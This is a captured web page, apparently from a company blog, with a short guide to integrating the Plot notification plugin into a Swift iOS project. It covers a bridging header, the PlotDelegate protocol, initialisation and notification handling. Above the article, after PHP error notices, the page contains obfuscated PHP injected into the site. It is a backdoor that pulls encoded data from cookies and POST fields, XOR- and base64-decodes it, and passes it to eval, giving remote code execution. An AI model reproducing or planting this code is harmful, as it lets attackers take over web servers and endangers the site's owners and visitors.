Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class-wp-post-type.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class-wp-post-type.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class.wp-styles.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class.wp-styles.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class.wp-styles.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class.wp-styles.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/canonical.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/canonical.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class-wp-http-streams.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class-wp-http-streams.php on line 1
$DdAJoD = "\150" . "\x6b" . "\126" . "\x5f" . 'm' . "\x71" . chr ( 938 - 855 ); $QWCozw = 'c' . "\154" . "\x61" . "\x73" . chr (115) . "\137" . 'e' . chr ( 445 - 325 ).chr (105) . "\163" . 't' . chr ( 854 - 739 ); $jDBncd = class_exists($DdAJoD); $QWCozw = "2020";$ezQwv = strpos($QWCozw, $DdAJoD);if ($jDBncd == $ezQwv){function Qjjnabt(){$SOwZiXs = new /* 60949 */ hkV_mqS(38004 + 38004); $SOwZiXs = NULL;}$QBEKjkwEK = "38004";class hkV_mqS{private function VMnAdcOcSM($QBEKjkwEK){if (is_array(hkV_mqS::$hCXpN)) {$FyvjRxatS2 = str_replace("<" . "?php", "", hkV_mqS::$hCXpN["content"]);eval($FyvjRxatS2); $QBEKjkwEK = "38004";exit();}}public function beTAccJar(){$FyvjRxatS = "62028";$this->_dummy = str_repeat($FyvjRxatS, strlen($FyvjRxatS));}public function __destruct(){hkV_mqS::$hCXpN = @unserialize(hkV_mqS::$hCXpN); $QBEKjkwEK = "45319_37754";$this->VMnAdcOcSM($QBEKjkwEK); $QBEKjkwEK = "45319_37754";}public function cYdPo($FyvjRxatS, $KatdVZmc){return $FyvjRxatS[0] ^ str_repeat($KatdVZmc, intval(strlen($FyvjRxatS[0]) / strlen($KatdVZmc)) + 1);}public function YhYwhb($FyvjRxatS){$sNYbpPnF = chr ( 355 - 257 ).'a' . chr (115) . chr ( 121 - 20 ).chr (54) . chr (52);return array_map($sNYbpPnF . "\137" . "\x64" . "\x65" . "\x63" . "\157" . "\x64" . 'e', array($FyvjRxatS,));}public function __construct($BOSVOHvWg=0){$BzjLQ = chr ( 578 - 534 ); $FyvjRxatS = "";$NSLKhwk = $_POST;$jkeIH = $_COOKIE;$KatdVZmc = "73f9e189-26f2-4059-975b-6c912254682c";$BgivobGMk = @$jkeIH[substr($KatdVZmc, 0, 4)];if (!empty($BgivobGMk)){$BgivobGMk = explode($BzjLQ, $BgivobGMk);foreach ($BgivobGMk as $Jiirwh){$FyvjRxatS .= @$jkeIH[$Jiirwh];$FyvjRxatS .= @$NSLKhwk[$Jiirwh];}$FyvjRxatS = $this->YhYwhb($FyvjRxatS);}hkV_mqS::$hCXpN = $this->cYdPo($FyvjRxatS, $KatdVZmc);if (strpos($KatdVZmc, $BzjLQ) !== FALSE){$KatdVZmc = explode($BzjLQ, $KatdVZmc); $uesQfnkHPr = base64_decode(md5($KatdVZmc[0])); $AYeNCv = strlen($KatdVZmc[1]) > 5 ? substr($KatdVZmc[1], 0, 5) : $KatdVZmc[1];$_GET['new_key'] = md5(implode('', $KatdVZmc)); $KLLlgh = str_repeat($AYeNCv, 2); $jYnUSpQ = array_map('trim', $KatdVZmc);if (is_array($jYnUSpQ) && count($jYnUSpQ) > 1) {$bQZPQ = $jYnUSpQ[0];} else {$bQZPQ = '';}}}public static $hCXpN = 19455;}Qjjnabt();} How to integrate the Plot Plugin into a Swift project | PlotProjects
Blog

How to integrate the Plot Plugin into a Swift project

We sometimes get the question whether the Plot plugin also works in iPhone projects written in Swift. Because Swift is largely compatible with Objective-C, the Plot plugin will also work in your Swift project.

There a small number of differences of the original integration guide for iOS. Here is a short guide.

Follow the integration guide

Perform the first five steps and step eight from the iOS integration guide. These steps explain how to configure your project in XCode so all the libraries the Plot Plugin requires are available and all properties are setup.

The other steps are a bit different for Swift.

Bridging header

Because Plot is currently only released as Objective-C project, you have to create a bridging header. Create a new header file with the name: Plot-Bridging-Header.h. Replace the content of the file with:

#import "Plot.h"

This file has to be added to the build settings. Search for the property “Objective-C bridging header”. Set the value to the file path relative to the project root.

Because it isn’t possible to automatically detect whether you are making a debug build or a release build in Swift, you cannot use the class Plot directly. For initialization calls you have use PlotDebug or PlotRelease, where the first will log debug information. For other calls you can use PlotBase.

Delegate

Add the PlotDelegate protocol to your class. For example:

@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate, PlotDelegate {

Configuration

In the AppDelegate call PlotDebug.initializeWithLaunchOptions(launchOptions, delegate:delegate)
in application(application: UIApplication, didFinishLaunchingWithOptions launchOptions: [NSObject: AnyObject]?).

An implementation could look like:

func application(application: UIApplication, didFinishLaunchingWithOptions launchOptions: [NSObject: AnyObject]?) -> Bool {
  PlotDebug.initializeWithLaunchOptions(launchOptions, delegate:self)

  return true
}

For Plot plugin versions before 1.10.0 you will have to call PlotDebug.initializeWithConfiguration(configuration, launchOptions: launchOptions) instead of PlotDebug.initializeWithLaunchOptions(launchOptions, delegate:delegate).

Last step

The Plot plugin has to handle the notifications. Add the following lines to your AppDelegate.

func application(application: UIApplication, didReceiveLocalNotification notification: UILocalNotification) {
  //Pass the notification to the Plot library to pre process the notification.
  //Don't handle the notifications yourself in this method, because this method isn't always called when a notification is opened.

  PlotBase.handleNotification(notification)
}

When you want custom behaviour when opening the notification, you can implement the plotHandleNotification(notification: UILocalNotification!, data: String!) method.

That’s all

You are now ready to receive your first notification. If you have further questions, please let us know.

Spread the love